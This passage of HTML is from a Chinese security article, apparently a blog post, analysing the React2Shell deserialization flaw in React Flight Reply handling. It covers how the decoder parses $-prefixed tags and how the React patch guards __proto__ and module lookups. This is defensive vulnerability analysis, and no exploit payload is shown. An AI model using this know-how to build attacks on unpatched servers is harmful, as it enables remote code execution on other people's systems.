black;"><strong style="font-weight: bold;color: black;"><span leaf="">那么我们再抽象回 React Flight 反序列上：问题就出在把超强解码器用在了不可信输入上</span></strong></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">React 为了支持 RSC，会在 </span><strong style="font-weight: bold;color: black;"><span leaf="">Server → Client</span></strong><span leaf=""> 的方向上定义一整套复杂的 wire format：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">有“值记录”、“模块引用记录”、“函数引用记录”等</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">客户端收到之后，会根据 tag 去还原 React 元素 / 函数引用等</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这些能力在 </span><strong style="font-weight: bold;color: black;"><span leaf="">Server → Client</span></strong><span leaf=""> 方向通常是安全的，因为：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">数据源是“服务器自己生成的”（可信）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">解析能力再强，也只是把“自己写的数据”解码回来</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但在 React2Shell 漏洞里，</span><strong style="font-weight: bold;color: black;"><span leaf="">同一套有“模块引用 / 函数引用 / 各种高级 tag”的解码器，被用在了 Client → Server（Reply / Actions）方向</span></strong><span leaf="">：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">也就是说，服务器在处理客户端发来的 Flight Reply 时，使用了功能过于强大的反序列化逻辑</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">而对“哪些 tag 允许客户端触发、哪些字段必须来自白名单”没有足够严格的限制</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">结果就是类似我们抽象代码示例里的情况：</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本来 </span><strong style="font-weight: bold;color: black;"><span leaf="">Client → Server</span></strong><span leaf=""> 只应该接受类似 “</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">{ type: &#39;action&#39;, id: &#39;addTodo&#39;, args: [...] }</span></code><span leaf="">” 这种非常简单、受控的格式；</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但由于复用了一个“强大的解码器”，它现在还能理解客户端发来的：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">“请帮我</span><strong style="font-weight: bold;color: black;"><span leaf="">解析一个模块引用</span></strong><span leaf="">”</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">“请帮我</span><strong style="font-weight: bold;color: black;"><span leaf="">还原一个特殊对象</span></strong><span leaf="">，里面带有某些 host 函数”</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果这些解码路径最终会去做：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">模块加载 / 解析（类似 import() / require()）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">动态方法调用（类似 obj[客户端给的字符串]）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">或者把“解析出的对象”丢进某些敏感 API</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那就和前面示例代码一样，演化为 反序列化漏洞 → RCE / SSRF / 任意文件读写。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">**简单来说：**Flight 的反序列化逻辑不仅仅是“把字符串变成对象”，而是“根据变出来的对象去做模块解析 / 执行函数”等行为。一旦这些行为可以被客户端数据操控，就变成了高危的远程代码执行入口。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">4、React Flight 反序列化流程</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这里说的反序列化流程指的是服务端反序列化，也即 </span><strong style="font-weight: bold;color: black;"><span leaf="">React</span></strong><strong style="font-weight: bold;color: black;"><span leaf="">Flight Reply</span></strong><span leaf=""> 流程，即：</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">客户端(浏览器) → [序列化数据] → 服务端(Node.js) → [反序列化处理]</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">服务端反序列化处理的是</span><strong style="font-weight: bold;color: black;"><span leaf="">客户端发送到服务端的数据</span></strong><span leaf="">，主要场景示例如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 场景 1: Server Action 调用</span></span><span leaf=""><br/></span><span leaf="">&lt;form action={serverAction}&gt;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #f92672;line-height: 26px;"><span leaf="">&lt;</span><span style="color: #f92672;line-height: 26px;"><span leaf="">input</span></span><span style="line-height: 26px;"><span leaf="">name</span></span><span leaf="">=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf=""> /&gt;</span></span></span><span leaf=""><br/></span><span leaf="">&lt;</span><span style="color: #bf79db;line-height: 26px;"><span leaf="">/form&gt;</span><span leaf=""><br/></span><span leaf="">/</span></span><span style="color: #bf79db;line-height: 26px;"><span leaf="">/ 场景 2: startTransition 中调用 Server Action</span><span leaf=""><br/></span><span leaf="">startTransition(() =&gt; {</span><span leaf=""><br/></span><span leaf="">  serverAction(complexData);</span><span leaf=""><br/></span><span leaf="">});</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">React Flight 的反序列化关键步骤示例如下:</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">HTTP 请求到达服务端，请求为 POST 方法，比如路径为 /action?id=abc123 ，内容类型为 multipart/form-data。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">进入解码函数 decodeAction 或（ decodeReply ），这是主入口。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">通过 createServerReference 解析，验证 action ID 的签名，并解析绑定参数。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">调用 parseReply 解析 formData，这是核心解析步骤。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">使用 initializeModelChunk 初始化 chunk，其中通过 JSON.parse 解析 JSON，并使用 reviveModel 回调函数。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">在 reviveModel 中，会调用 parseModelString 解析特殊值，比如以 </span><span leaf="">, </span><span style="cursor:pointer;"><span data-formula="$" data-formula-type="inline-equation"><span leaf="">$</span></span></span><span leaf="">@, </span><span leaf="">T, $B 等，这些代表不同的 React 序列化标记。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">对于引用类型（如 $@），会通过 getOutlinedModel 从 chunk map 中获取值。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">最终返回反序列化后的 JavaScript 对象。</span></p></li></ol></div><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000446" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="1024" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=ae1ee151&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrDACMhC3wuOBk4v6N3zn2dSgcluHoy1aaCxv7KfuTuEWELDZSO7WflEOmm6GV2vMibr2U7ng7xQkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="markdown编辑器" data-website="https://markdown.com.cn/editor" style="font-size: 16px;color: black;padding: 25px 30px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: justify;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对应流程如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">HTTP POST 请求</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">decodeReply(formData, serverReferenceMap)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">createServerResponse() </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 创建响应对象</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">parseReply(formData)   </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 解析 FormData</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  每个字段:</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">    initializeModelChunk(json)</span><span leaf=""><br/></span><span leaf="">      ↓</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.parse(json, reviveModel)</span><span leaf=""><br/></span><span leaf="">        ↓</span><span leaf=""><br/></span><span leaf="">        parseModelString(value)</span><span leaf=""><br/></span><span leaf="">          ↓</span><span leaf=""><br/></span><span leaf="">          处理特殊前缀:</span><span leaf=""><br/></span><span leaf="">          - $F → createBoundServerReference (验证安全性)</span><span leaf=""><br/></span><span leaf="">          - $T → readTemporaryReference (</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Proxy</span></span><span leaf=""> 保护)</span><span leaf=""><br/></span><span leaf="">          - $B → 获取 Blob</span><span leaf=""><br/></span><span leaf="">          - $Q, $W → 构建 </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Map</span></span><span leaf="">/</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Set</span></span><span leaf=""><br/></span><span leaf="">          - $</span><span style="line-height: 26px;"><span leaf="">123</span></span><span leaf=""> → getOutlinedModel (解析引用)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">返回完整的 JavaScript 对象/函数</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">上述流程的核心是 </span><strong style="font-weight: bold;color: black;"><span leaf="">parseModelString</span></strong><span leaf=""> 函数，其主要负责解析和验证所有字符串类型的值，具体代码逻辑解读分析如下：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">packages/react-server/src/ReactFlightReplyServer.js</span></p></blockquote><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">所有特殊值都必须以 $ 符号开头，系统通过检查第一个字符来进行类型判断（</span><strong style="font-weight: bold;color: black;"><span leaf="">前缀验证机制</span></strong><span leaf="">）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">对于以 $$ 开头的值，系统将其识别为转义字符串，去掉第一个 $ 后返回原始字符串（</span><strong style="font-weight: bold;color: black;"><span leaf="">转义字符串处理</span></strong><span leaf="">）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">对于 Promise 类型（$@），系统解析十六进制 ID 并获取对应的 chunk（</span><strong style="font-weight: bold;color: black;"><span leaf="">Promise 引用验证</span></strong><span leaf="">）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">服务端引用（$F）需要通过 getOutlinedModel 获取元数据，并加载相应的服务端函数，这里会调用 loadServerReference 进行模块解析和加载（</span><strong style="font-weight: bold;color: black;"><span leaf="">Server Reference 验证</span></strong><span leaf="">）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">临时引用（$T）如果引用未定义或 _temporaryReferences 未配置，系统会抛出明确的错误（Temporary Reference 安全检查）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">系统使用 parseInt(path[0], 16) 解析十六进制 ID，这种方式在遇到无效字符时会自动停止解析（</span><strong style="font-weight: bold;color: black;"><span leaf="">ID 解析处理</span></strong><span leaf="">）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">对于类型化数组（如 ArrayBuffer、Int8Array 等），系统会验证引用并从 FormData 中获取对应的 $B（类型数组检测）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">K）需要验证特定前缀</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">系统为各种特殊 JavaScript 值提供了安全的反序列化，比如：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$I → Infinity</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$-0 → -0</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$-Infinity</span></code><span leaf=""> → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Infinity</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$NaN → NaN</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$u → undefined</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$D → Date (使用 Date.parse)</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">$n → BigInt</span></code></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">上述代码比较绕，但实际上就是针对不同开头的字符进行数据类型归类，然后按照所归类的类型进行处理，每种数据类型都有专门的解析和验证逻辑，</span><strong style="font-weight: bold;color: black;"><span leaf="">只有明确定义的前缀类型才会被处理，其他值被视为普通引用</span></strong><span leaf="">，比如</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">标记</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">含义</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">示例</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">$@</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">对象引用</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">{&#34;$@&#34;:&#34;0&#34;}</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">$F</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">函数引用</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">{&#34;$F&#34;:&#34;1&#34;}</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">$T</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Promise 引用</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">{&#34;$T&#34;:&#34;2&#34;}</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">$B</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Blob/File</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">{&#34;$B&#34;:&#34;3&#34;}</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">$$</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">React 元素</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">{&#34;$$typeof&#34;:&#34;...&#34;}</span></p></td></tr></tbody></table><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">从这里实际上就可以看出，只要传入的数据符合 Flight 所规定的数据类型和格式，就可以反序列化成功，完全没有在安全方面的考虑（除了在 Temporary References 中只允许访问某些安全属性）。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">5、patch 补丁分析</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">根据补丁，和安全相关的 patch 有好几处，可以定位到关键的 patch 如下：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/facebook/react/commit/e2fd5dc6ad973dd3f220056404d0ae0a8707998d" target="_blank">https://github.com/facebook/react/commit/e2fd5dc6ad973dd3f220056404d0ae0a8707998d</a></span></p></blockquote><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">第一处：reviveModel 函数</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">@@ </span><span style="line-height: 26px;"><span leaf="">-427</span></span><span leaf="">,</span><span style="line-height: 26px;"><span leaf="">7</span></span><span leaf=""> +</span><span style="line-height: 26px;"><span leaf="">574</span></span><span leaf="">,</span><span style="line-height: 26px;"><span leaf="">7</span></span><span leaf=""> @@ </span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">reviveModel</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">             value[key],</span><span leaf=""><br/></span><span leaf="">             childRef,</span><span leaf=""><br/></span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">-          </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="line-height: 26px;"><span leaf="">newValue !== undefined</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">+          </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (newValue !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf=""> || key === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;__proto__&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// $FlowFixMe[cannot-write]</span></span><span leaf=""><br/></span><span leaf="">             value[key] = newValue;</span><span leaf=""><br/></span><span leaf="">           } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">@@ </span><span style="line-height: 26px;"><span leaf="">-441</span></span><span leaf="">,</span><span style="line-height: 26px;"><span leaf="">24</span></span><span leaf=""> +</span><span style="line-height: 26px;"><span leaf="">588</span></span><span leaf="">,</span><span style="line-height: 26px;"><span leaf="">42</span></span><span leaf=""> @@ </span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">reviveModel</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">   return value;</span><span leaf=""><br/></span><span leaf=""> }</span></span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">即使 newValue 是 undefined，如果键是 </span><strong style="font-weight: bold;color: black;"><span leaf="">proto</span></strong><span leaf="">，也强制进行赋值操作，防止原型链被恶意修改。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">第二处：preloadModule 函数</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">+</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> hasOwnProperty </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">from</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;shared/hasOwnProperty&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">+</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">export</span></span><span leaf=""> type ServerManifest = {</span><span leaf=""><br/></span><span leaf="">   [string]: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Array</span></span><span leaf="">&lt;string&gt;,</span><span leaf=""><br/></span><span leaf=""> };</span><span leaf=""><br/></span><span leaf="">@@ </span><span style="line-height: 26px;"><span leaf="">-78</span></span><span leaf="">,</span><span style="line-height: 26px;"><span leaf="">7</span></span><span leaf=""> +</span><span style="line-height: 26px;"><span leaf="">80</span></span><span 